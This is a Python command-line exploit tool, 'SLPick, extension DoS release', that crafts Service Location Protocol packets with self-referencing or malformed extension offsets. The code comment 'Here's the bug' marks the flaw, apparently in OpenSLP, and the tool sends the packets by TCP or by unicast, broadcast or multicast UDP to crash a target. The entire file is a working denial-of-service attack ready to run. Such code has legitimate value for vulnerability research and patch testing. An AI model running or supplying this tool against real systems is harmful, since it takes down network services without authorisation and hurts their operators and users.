#!/usr/bin/python ''' ================================== Pseudo documentation ================================== ''' # SLPick, extension DoS release # by Nicolas Gregoire ''' ================================== Imports ================================== ''' import getopt import re import sys import binascii import struct import socket import os ''' ================================== Default values ================================== ''' version = '0.4' mode = 'unicast' source = 'N/A' target = 'N/A' xid = '\x12\x34' port = 427 nb = 1 req = 'sr' ''' ================================== Standard functions ================================== ''' # Some nice formatting def zprint(str): print '[=] ' + str # Function displaying CLI arguments def showUsage(): print 'Usage : ' + sys.argv[0] + ' [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]' print '\t[-h] Help (this text)' print '\t[-m] Mode : tcp / unicast / broadcast / multicast (default is "' + mode + '")' print '\t[-p] Port : default is "' + str(port) + '"' print '\t[-s] Source IP Adress : no default (used only in multicast mode)' print '\t[-t] Target IP Adress : no default (forced in multicast mode)' print '\t[-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)' print '\t[-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)' sys.exit(1) # Function parsing parameters def getArguments(): try: optlist, list = getopt.getopt(sys.argv[1:], 'hm:p:t:s:n:r:') except getopt.GetoptError: showUsage() for opt in optlist: if opt[0] == '-h': showUsage() if opt[0] == '-p': global port port = opt[1] if opt[0] == '-s': global source source = opt[1] if opt[0] == '-t': global target target = opt[1] if opt[0] == '-m': global mode mode = opt[1] if opt[0] == '-n': global nb nb = int(opt[1]) if opt[0] == '-r': global req req = opt[1] # Function checking parameters def checkArguments(): if (mode == 'multicast'): # XID : must be 0 in multicast mode # Target IP : default SLP multicast address # Source IP : address of the local interface global xid xid = '\x00\x00' zprint('Forcing XID to "0"') global target target = '239.255.255.253' zprint('Forcing target IP to "' + target + '"') if (source != 'N/A') : zprint('Forcing source IP to "' + source + '"') else: zprint('You need to force the source address with "-s" !') showUsage() elif (mode == 'unicast') or (mode == 'broadcast') or (mode == 'multicast') or (mode == 'tcp'): # Target IP : must be defined if (target == 'N/A') : zprint('Invalid target !') showUsage() else : zprint('Invalid mode !') showUsage() ''' ================================== SLP functions ================================== ''' # Define payload of type "Service Request" def getServRequest(): zprint('Creating payload of type "Service Request"') # Function type f = '\x01' # Empty fields previous_list_length = '\x00\x00' predicate_length = '\x00\x00' scope_length = '\x00\x00' spi_length = '\x00\x00' # Variable-size fields service = 'service:directory-agent' service_length = struct.pack('!h', len(service)) # Create message m = previous_list_length + service_length + service m += predicate_length + scope_length + spi_length return(f, m) # Define payload of type "Attribute Request" def getAttrRequest(): zprint('Creating payload of type "Attribue Request"') # Function type f = '\x06' # Empty fields previous_list_length = '\x00\x00' tag_length = '\x00\x00' spi_length = '\x00\x00' # Variable-size fields url = 'http://www.agarri.fr/' url_length = struct.pack('!h', len(url)) scope = 'default' scope_length = struct.pack('!h', len(scope)) # Create message m = previous_list_length m += url_length + url + scope_length + scope m += tag_length + spi_length return(f, m) # Define the function creating the full SLP packet def createPacket(function, message): zprint('Adding headers and trailers') # SLP Version version = '\x02' # Set the 'Multicast required' flag to 1 if (mode == 'broadcast' or mode == 'multicast'): flags = '\x20\x00' else: flags = '\x00\x00' ####################################################### # Here's the bug !!!! ####################################################### zprint('Using ' + str(nb) + ' extension(s)') if (nb == 0): # No extension == no bug next_ext_offset = '\x00\x00\x00' extension = '' elif (nb == 1): # Loop over itself next_ext_offset = '\x00\x00\x05' extension = '' elif (nb == 2) : # Point to another extension located at the end of the packet # TODO : Calculate it at runtime if (req == 'sr'): next_ext_offset = '\x00\x00\x31' else : next_ext_offset = '\x00\x00\x36' # OpenSLP : extid should be < 0x4000 or > 0x7FFF ext_id = '\xBA\xBE' # Loop over itself, 0x05 (back to previous extension) should work too ext_nextoffset = next_ext_offset # Could be anything ext_data = '\x22\x22' # Create the trailing extension extension = ext_id + ext_nextoffset + ext_data else: print 'Wrong number of extensions' sys.exit(1) # Variable-size headers lang = 'en' lang_length = struct.pack('!h', len(lang)) # Assemble headers headers = flags + next_ext_offset + xid + lang_length + lang # Packet = version + function + overall size + headers + message + extension packet = version + function + '\x00' packet += struct.pack('!h', len(headers + message + extension) + 5) packet += headers + message + extension return packet ''' ================================== Send packet via TCP or UDP ================================== ''' # Send via TCP def sendTcpPacket(packet): zprint('Sending packet via TCP [' + target + ']') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) try: s.connect((target, port)) except socket.error: zprint('Socket error (port closed ?)') sys.exit(1) s.send(packet) s.close # Send via unicast UDP def sendUnicastPacket(packet): zprint('Sending packet via Unicast UDP [' + target + ']') s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM ) s.sendto( packet, (target, port) ) # Send via broadcast UDP def sendBroadcastPacket(packet): zprint('Sending packet via Broadcast UDP [' + target + ']') s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM ) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto( packet, (target, port) ) # Send via multicast UDP def sendMulticastPacket(packet): zprint('Sending packet via Multicast UDP [' + target + ']') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.bind((source, 6666)) # Select an interface (and an evil port ;-) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) sock.sendto(packet, (target, port) ); ''' ================================== Main code ================================== ''' # Print banner zprint('SLPick : SLP client v' + version + ' (by Nicolas Gregoire)') # Set options getArguments() checkArguments() # Which payload ? if (req == 'ar'): func, payload = getAttrRequest() else : func, payload = getServRequest() # Add headers and trailers (including extensions) packet = createPacket(func, payload) # TCP if (mode == 'tcp'): sendTcpPacket(packet) # UDP elif (mode == 'unicast'): sendUnicastPacket(packet) elif (mode == 'broadcast'): sendBroadcastPacket(packet) elif (mode == 'multicast'): sendMulticastPacket(packet) # Exit zprint('Exit')